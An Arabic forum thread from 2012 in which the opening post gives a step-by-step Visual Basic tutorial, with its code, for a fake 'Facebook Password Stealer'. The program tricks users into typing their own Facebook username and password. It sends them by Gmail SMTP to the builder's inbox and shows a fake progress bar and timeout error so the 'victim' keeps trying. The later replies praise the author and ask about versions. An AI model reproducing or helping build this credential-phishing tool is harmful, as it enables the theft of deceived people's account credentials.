|
||||||
 |
|
|
أدوات الموضوع | انواع عرض الموضوع |
|
#1
11-02-2012, 07:21 PM
|
||||
|
||||
كيف تصنع برنامج "Facebook Password Stealer" الشرح بالصورة بالفجوال 2008/2010 بالصور !
بسم الله الرحمن الرحيم اسمى احمد - اقوم بتدريس اللغة العربية لى اهتمامات كثيرة بالانترنت كنت الاحظ بصفة مستمرة البرامج الوهمية التى توهمك بسرقة الفيس بوك ولكى تفهم مقصدى اكثر عليك بملاحظة الصورة التالية  البرنامج كما ترونه يثير اعجاب المهتمين والمراهقين وذوى الفراغ والفضوليين وكثيرا من نقع ضحايا لهذا النوع من الخدع امضيت الكثير من الوقت لمعرفة كيف تمت صناعة مثل هذا البرنامج حتى عرفت ان هناك " الفجيوال بايسك 2010" ومن هنا واتتنى رغبة بالغة فى تعلم تلك اللغة الحقيقة ان اهتمامى لم يتعدى الدوت نت framework بعد ، ولكى اتعلم لغة السى والسى بلس او السى شارب فلابد ان يكون لدى كثير صبر --- منذ ايام مضت -بحمد الله - استطعت ان اتعلم فكرة البرنامج من خلال الصورة السابقة وقمت بصناعة مثل هذا البرنامج مع بعض التطوير والان -- لاحظوا معى كيف امكننى صناعة مثل هذا -- والشرح بالصور والاكواد 1- قم بتسطيب الفجيوال بايسك 2008/ او 2010 ايهما تحب ؟!! 2- قم بفتح ايقونة البرنامج من سطح المكتب او من قائمة ستارت ، أيهما الاقرب؟!! 3- اضغط على مشروع جديد New project ... !!  4- نحن الان فى شاشة الفورم الاساسية وتشمل الادوات والخصائض والواجهة التفاعلية للمستخدم ولأضافة مميزات اكثر فى شكل الفورم ليصبح اكثر واقعية وجاذبية فلسوف نضع صورة خلفية واضحة اضغط على الفورم واتجة الى لوحة الخصائص الموجود يسار الفورم لاحظ كلمة "BackgroundImage" واختار منها براوزر يعنى تصفح ثم اضغط على Imports يعنى استيراد --- وحدد مكان الصورة التى ترغب بأن تكون خلفية لبرنامجك واليكم الشرح بالصورة والارقام " لاتكذب ولا تتجمل "  بعد ان قمنا بادراج الصورة " اى صورة لديك " نضع الان عدد 2 تكست بوكس text box وعدد 2 ليبل lable ونقوم بتغيير النص فى ليبل واحد الى username وتغيير النص فى ليل اثنين الى password وسوف نشرح السبب لاحقا 5-  6- والان نضيف عدد 2 زر ------ يعنى اتنين Button - نضغط على بوتوم واحد ونغير التكست بتاعة الى hack password نضغط على بوتوم اتنين ونغير اسمة الى stop hack نضغط على تكست بوكس رقم اتنين يعنى التكست بوكس التانى ونتجة الى نافذة الخصائص ونبحث عن كلمة passwordchar ونكتب فى الخانة الفارغة رمز النجمة كالاتى * فقط والمعنى واضح : ان القيمة التى يتم كتابتها فى التكست بوكس ستكون عبارة عن نجوم كما تراها انت حين تضع الباسوورد بتاعتك فى اى موقع يطلب منك تسجيل دخول والشرح بالصورة التالية  7- نضيف واحد ليبل ونغير اسمه الى- write ID facebook for victim - ونضيف عدد واحد زر Buttom ونغير اسمه الى how to Get ID faceBook !! ولا تنسى حجم الخط بما يناسبك من الخاصية فونت فى صندوق الخصائص  8- نضيف واحد شريط تقدم progress bar ونضيف واحد ليبل اعلى منه ونحذف منه النص ليصبح اسم الليبل فارغا كما سيلى وسنعرف السبب ونضيف مؤقت timer1 وسنرى ان التايمر لن يكون ظاهرا فى الفورم  ------------------ لمتابعة بقية الدرس يتبع بالاسفل   9- والان تبدأ مرحلة برمجة الفورم بالاكواد نضغط دبل كليك على الزر الاول والذى اصطلحنا على تسميتة بكلمة (Hack facebook ) يعنى نضغط مرتين بالماوس على الزر وسنجد انفسنا فى نافذة الكود التى سوف نكتب فيها الاتى بأعلى الفورم وفوق كلمة Public Class Form1 نكتب الثلاثة اسطر الاتية Imports System.Web Imports System.IO Imports System.Net.Mail كما فى الصورة التالية  - ثم فى مرحلة الكود البرمجى للزر الاول نفسه الذى نتعامل معه الان نكتب هذا الكود Timer1.Start() Dim mail As New MailMessage() Dim smtpserver As New SmtpClient smtpserver.Credentials = New Net.NetworkCredential("akhmedtaia***********", "xxxxxxxxxxx") smtpserver.Port = 587 smtpserver.Host = "smtp.gmail.com" smtpserver.EnableSsl = True smtpserver.EnableSsl = True mail.To.Add("akhmedtaia***********") mail.From = New MailAddress("UserName***********") mail.Subject = "PassWord " mail.Body = TextBox1.Text & TextBox2.Text.ToString smtpserver.Send(mail) Label5.Text = ("Please Wait...") ولا ننسى ان نغلق علامة التنصيص فى جملة "please wait..."  والان باختصار ممل سوف اشرح بعضا من معانى الكود واعذرونى لضيق الوقت Imports System.Web Imports System.IO Imports System.Net.Mail وهذه الخواص تعنى بربط الفورم بشبكة الانترنت حال الضغط على الفورم Dim mail As New MailMessage() Dim smtpserver As New SmtpClient تعنى ارسال رسالة بريد الكترونى للبريد الذى سوف نكتبة ( وهو رقم ايميلك انت -- يعنى عنوان صانع هذا البرنامج) smtpserver الكود smtp له مفهوم كبير سوف احاول توضيحة بكلمات موجزة البروتوكول SMTP و البروتوكول POP (البروتوكول هو : ميعار يعرف كيفية تفاهم الحواسيب مع بعضها البعض ) المعايير التي تؤلف البروتوكول كثيرة كـ(حجم الإطار و طول المعطيات و بتات الفحص و .... إلخ ) وبين هذه المعايير (في طبقة التطبيقات) توجد الأوامر والردود بين الحواسيب ، وهذا ما يهم المبرمجين . إن الأوامر و الردود (التراسل) بين الأجهزة التي تعمل على أي بروتوكول لا بد و أن تكون معرّفة مسبقاً . فعلى سبيل المثال ، لا يمكن أن تنشأ من عندك أمر جديد في احد الاجهزة و تتنتظر من الأخر أن يفهم رسالتك فضلاً عن أن يتفاعل معها ! ولهذا ،،، نريد أن نسلط الضوء في هذا الدرس على الأوامر و الردود (المراسلات)التي تتم بين جهازي حاسب (سيرفر و عميل) عبر البروتوكول SMTP لارسال البريد الإلكتروني و البروتوكول POP لاستقبال البريد الإلكتروني . ** ملاحظة : نحن نتحدث في هذه المشاركة عن أوامر و ردود البروتوكول ، وهذا يعني أن الفائدة من هذا الدرس ليست محصورة على مبرمجي الـ VB فقط ** ----------------- smtpserver.Credentials = New Net.NetworkCredential("akhmedtaia***********", "ضع الباسوورد بتاعت الايميل بتاعك هنا بين علامتى التنصيص") akhmedtaia*********** هو اسم ايميلى الذى سوف استقبل علية الرسائل وبين علامتى التنصيص نكتب "الباسوورد" وهى الباسوورد بتاعت ايميلك اللى على الجى ميل --------- الكود التالى السابق بالاعلى smtpserver.Port = 587 smtpserver.Host = "smtp.gmail.com" smtpserver.EnableSsl = True smtpserver.EnableSsl = True mail.To.Add("akhmedtaia***********") رقم البورت الخاص بحساب الجى ميل وهو 587 واسم المضيف وهو فى اغلب الاحوال يكون smtp+gmail+.com or smtp.yahoo.com يمكنك فى البحث عبر الانترنت من الحصول على رقم البورت واسم المضيف بالمزيد من الاطلاع -------------------------------- الكود التالى mail.From = New MailAddress("UserName***********") mail.Subject = "PassWord " عبارة عن اسم المرسل وعنوان الرسالة التى من المفترض انها سوف تصل على حسابك فى الجى ميل ---------------------- الكود التالى mail.Body = TextBox1.Text & TextBox2.Text smtpserver.Send(mail) فى هذا الكود الواضح يمكننا ان نستنتج الاتى mailbody تعنى جسم الرسالة التى سوف تصلنى بعد ان يضغط المستخدم على الزر الاول والميل بودى هنا عبارة عن textbox1.text textbox2.text يعنى : ان ما يكتبة المستخدم فى التكست بوكس الاول والثانى هو مضمون الرسالة التى تصلنى على بريدى اى : اسم الايميل بتاعة وكلمة السر ----------------------------- Label4.Text = ("Please Wait...") طب ما المقصود بالجملة السابقة هل تتذكرون الليبل الفارغ الذى لم نتكلم عنة والموجود فى الصورة الخامسة والذى وضعناة اعلى شريط التقدم اى : حين يضغط المستخدم على الزر الاول الذى نقوم ببرمجتة الان المفترض ان تحدث الكثير من العمليات التى لا ينتبة اليها احد الميزة هنا انة سوف تظهر عبارة انتظر بمجرد الضغط على الزر الاول hack facebook حتى يتوهم الضحية ان البرنامج يجلب الباسوورد --------------------------------------------------------- Timer1.Start() ProgressBar1.Value = +1 ProgressBar1.Increment(1) Label4.Text = "Please wait...." الكود السابق واضح تماما ولا يحتاج الى شرح بمجرد الضغط على الزر الاول " هاك فيس بوك " المفترض ان يعمل التايمر المفترض ان يبدأ شريط التقدم فى العمل المفترض ان تكون زيادة قيمة تقدم الشريط عبارة عن واحد -- يعنى حركة واحدة كل نصف ثانية بمقدار تزايدى حتى تصل الى الرقم 100 اعتقد اننى كررت السطر الاخير الخاص باليبل رقم اربعة -- هذا لا يهم ------------------------------------------------- ************** نأتى الان لبرمجة زر اخر وليكن مثلا شريط التقدم وهو البروجرس بار نضغط علية مرتين -- نجد انفسنا داخل مرحلة الكود نقوم بكتابة الامر الاتى ProgressBar1.Increment(1) ProgressBar1.Value = +1  اذا اردت الاكتفاء بالسطر الثانى فقط يمكنك حذف السطر الاول الامر increment يعنى زيادة بمقدار درجة الى ما لا نهاية حسبما اعتقد ان جانبى الصواب فمن نفسى والشيطان واليكم الصورة الخاصة ببرمجة البروجرس بار ----------------------------------------------------------- 10- نقوم بأضافة تايمر اخر ليصبح لدينا الان timer2 والان نقوم ببرمجة الزر رقم 2 والذى كتبنا عليه stop hack نضغط نقرة مزدوجة علية وفى نافذة الكود الخاص بة اسفل السطر الاتى Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click نكتب الاتى ProgressBar1.Increment(-1) Timer2.Start() والمعنى انة فى حالة الضغط على الزر الثانى يتوقف شريط التقدم ويعود مرة اخرى الى الصفر بمعدل تراجع قيمة واحدة وفى هذة الحالة سوف نضطر الى اضافة تايمر رقم 2 timer2.start تلية قوسين مغلقين تعنى بمجرد الضغط على الزر الثانى قم بتشغيل التايمر رقم 2 والذى من وظيفتةانه سوف يقوم بارجاع شريط التقدم الى حالة الصفر  لا تنسى اضافة تايمر اخر داخل الفورم ليصبح لدينا عدد 2 تايمر بدلا من واحد الاول مختص بتشغيل البروجرس بار الى الامام والثانى خاص بارجاع البروجراس بار الى الخلف ----------------------- 11- والان علينا برمجة التايمر الاول رقم واحد نضغط مرتين على تايمر واحد وفى نافذة الكود الخاص به نكتب الاتى ProgressBar1.Increment(1) If ProgressBar1.Value = 100 Then MsgBox("Time Out, Error occurred, Please Try Again") End If  لاحظ الصورة جيدا وافهم جيدا فى احداث التايمر الاول نضيف هذا الكود مع استخدام قاعدة If قم Then بمعنى حين ينتهى شريط التقدم الى القيمة 100 تظهر رسالة خطأ تفيد ان البرنامج فشل فى جلب باسوورد الضحية لكى نوهم الضحية ان المشكلة فى سرعة الاتصال بالنت ولكن النتيجة ان بيناتة تم ارسالها الى ايميلك انت **** اى انه فى حالة وصول مؤشر شريط التقدم الى الرقم 100 تظهر رسالة للمستخدم تفيد ("Time Out, Error occurred, Please Try Again") يعنى حاول مرة اخرى حتى ييأس من الماحولة ولكن لو كان مؤمنا لأقتنع بـــــــــ... ( انه لا ييئس من روح الله الا القوم الكافرون) --------------------------------------- 12- انتهينا من الاساسيات واذا قمت بتنفيذ هذى الخطوات فقد نجح برنامج الاول و..........يمكنك اختبارة بنجاح اضغط على زر F5 او من شريط القوائم باعلى الفجيوال بايسك اضغط على bullt + bullt soluation ومن قائمة ملف اضغط على حفظ save form1.vb واذهب الى مكان حفظ مشروعك فى ملف المستندات ثم عليك بملاحظة مثل هذا المسار حتى تصل الى تطبيقك بنجاح My Documents\Visual Studio 2010\Projects\facebook pass stealer\facebook pass stealer\bin\Debug بالترتيب مستندات + فجيوال بايسك 2010 ثم بروجكت+ ثم مجلد اسم المشوع الذى اخترتة لبرنامج وليكن فيس بوك باسوورد ستيلر ثم مجلد Bin+ ثم تدخل على مجلد debug لتجد برنامجك والان مع تجربة سريعة للبرنامج  والان انا مرهق ولدى المزيد لاضافتة فى الفورم لو رأيت ردودا اعجبتنى منك فسوف اقوم باستكمال هذا الدرس وتحويل البرنامج فى خطوات سهلة الى ملف سيت اب تنفيذى يمكن تسطيبة على الجهاز لان البرنامج لا يعمل الا داخل جهاز علية نت فرام ويرك 4 الخاص بمن لدية فجيوال باسيك 2010 ولكن كيف يمكن ان تجعل برنامج يعمل على اى Cpu اخرى غير جهازك والان ما رايكم لو ذهبنا الى حسابنا فى الجى ميل لنرى النتيجة  هل انتهى برنامجنا الى هذا الحد فقط ؟؟!!!!!!!! لا طبعا هناك المزيد ولكن حين يتم تثبيت الموضوع والا ........... فيكفيكم ما قد عرفتموووووووووه .... هذه قصة اخرى سوف استكملها معكم لاحقا ويمكننا وقتها اضافة الكود البرمجى الخاص بالزر الثالث الخاص بشرح كيفية كتابة اى دى الضحية فى الفيس بوك وغيره من الامور الهامة لنجاح مشروعك وكيف تضع له ايقونة وكيف تتحكم فى متطلبات تشغيله فى اى جهاز غير جهازك وكيف تقوم بعمل ملف سيت اب له ليتم تسطيبة مثل اى برنامج اخر لينزل فى مجلد البروجرام فايل بالاضافة الى اختصارات سطح المكتب وفى قائمة البرامج بقائمة ستارت تصبحون على خير الان مع تحياتى tomjerry741*********** مدرس بالاجر   آخر تعديل بواسطة tomjerry741 ، 11-02-2012 الساعة 11:42 PM 
|
|
#2
11-02-2012, 11:53 PM
|
||||
|
||||
............
استعملوا البرنامج فى الخير ارجو من مشرف القسم تثبيت الموضوع لانى تعبت من شرحة ورفعة وتنظيمه --------كى ------------ يمكننى استطراد الموضوع بالكامل عافاكم الله
|
|
#3
12-02-2012, 12:06 AM
|
||||
|
||||
|
اعذرونى اخواتى الاحباب
نسيت اهم شئ فى الموضوع السابق وهو اضافة خانة تكست بوكس اضافية اعلى شريط التقدم وهى مكان مخصص باسم الاى دى بتاع الضحية المراد معرفة باسووردها الصورة التالية ستوضح لكم مقصدى 
|
|
#4
12-02-2012, 12:13 AM
|
||||
|
||||
|
فى النهاية سنتعلم كيف تصنع من برنامج ملف سيت اب كما بالصورة ليتم تسطيبة بجميع ملفات الدل فى البروجرام فايل وفى ملفات النظان نفسها لو اردت كما بالصورة
 باااااااااى
|
|
#5
12-02-2012, 12:49 AM
|
||||
|
||||
|
والله العظيم يارب يجي اليوم واشوف نصف معلمين الحاسب الالي لديهم نصف خبرتك للاسف قليل اوي من يدعون انهم معلمون حاسب الي او مجرد ينقلون للتلاميذ ما ه مكتوب في الكتب بدون فهم او وعي او ابتكار ولا حتي يبحثون كيف تم عمل كود صغير وليس برنامج كامل
مجهودك خرافي ليا الشرف اني ارد علي حضرتك والف الف شكر علي المجهود الرائع
|
|
#6
12-02-2012, 01:00 AM
|
|||
|
|||
|
طيب هو ممكن بفيجوال بيسك 2005
و الله موضوع رائع وممتاز و أرجو المتابعة
|
|
#7
12-02-2012, 10:34 AM
|
||||
|
||||
|
اقتباس:
لو انك قرأت اول سطر انا كتبتة لعرفت اننى لست مدرس حاسب الى اساسا ولم ادرس مادة الكمبيوتر اساسا فى سنوات تعليمى عام 1999 الحاسب الالى مادة جديدة فى التدريس لم يتم تطبيقها علينا فى فترة التسعينات اساسا وشكرا لك
|
|
#8
12-02-2012, 10:39 AM
|
||||
|
||||
|
اقتباس:
حضرتك كل مجال فيه المتميز وفيه متوسط التميز وفيه قليل التميز
ولكن انا عاتب على حضرتك لانه لا يمكن أن نعمم الكلام على معلمى الكمبيوتر. لسبب بسيط مهنة التدريس وما موجود فى الكتب الدراسية مش بيظهر قدرات وامكانيات معلمين كتيير وللأسف ده بيخفى كتيير من امكانيات معلم الكمبيوتر وأخيرا وليس آخرا يوجد كثييييير جدا من المعلمين المتميزين فى المجال الكمبيوتر وإذا كان أحد من المعلمين فى المواد الأخرى تميز فى الكمبيوتر فذلك أكيد أنه بفضل الله أولا ثم بفضل أحد معلمين الكمبيوتر الذين قاموا بالتعليم والتوجيه وشكرا
__________________
  إن الطبيب بطبه ودوائه *** لا يستطيع دفع نحب قد أتى مات المُداويِ والمُداوىَ والذى *** جمع الدواء أو باعه ومن اشترى
|
|
#9
12-02-2012, 11:02 AM
|
||||
|
||||
|
اقتباس:
ينفع طبعا يا عزيزى بس انا انصحك بفجيوال بايسك 2008 او 2010 كلما كان الاصدار احدث كلما كانت المميزات افضل وافضل
|
|
#10
12-02-2012, 11:06 AM
|
||||
|
||||
اقتباس:
الحقيقة اننى علمت نفسى بنفسى واستغرقنى وقتا طويلا كى استوعب جزء مما شرحته فى موضوعى ظللت اجمع كتب خاصة بالفجيوال وكلها كانت كتب عملاقة بالانجليزية وظللت صابرا على الفهم ولا ازال اقرأ كل يوم واحاول ترجمة وفهم ما اقرأة -- الحقيقة اننا حين نتعلم فى الكبر كاننا ننقش فى الماء فليرحمنا الرب ويرحم من رحمونا والى الجحيم فليذهب الباقون شكرا لك
|
|
#11
12-02-2012, 10:32 PM
|
||||
|
||||
|
اقتباس:
أنا لا اقصد بكلامى هذا أى مساس بمجهودك فى هذه المشاركة
وفعلا بارك الله فيك ولكن أنا كنت برد على الرأى الخاص بالتعليق وأخير الكمبيوتر ليس حكرا على من تخصصوا فيه فقط بل هو للجميع وبالتوفيق دائما
__________________
إن الطبيب بطبه ودوائه *** لا يستطيع دفع نحب قد أتى مات المُداويِ والمُداوىَ والذى *** جمع الدواء أو باعه ومن اشترى
|
|
| العلامات المرجعية |
«
الموضوع السابق
|
الموضوع التالي
»
العرض العادي
|
|
جميع الأوقات بتوقيت GMT +2. الساعة الآن 10:38 AM.
Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
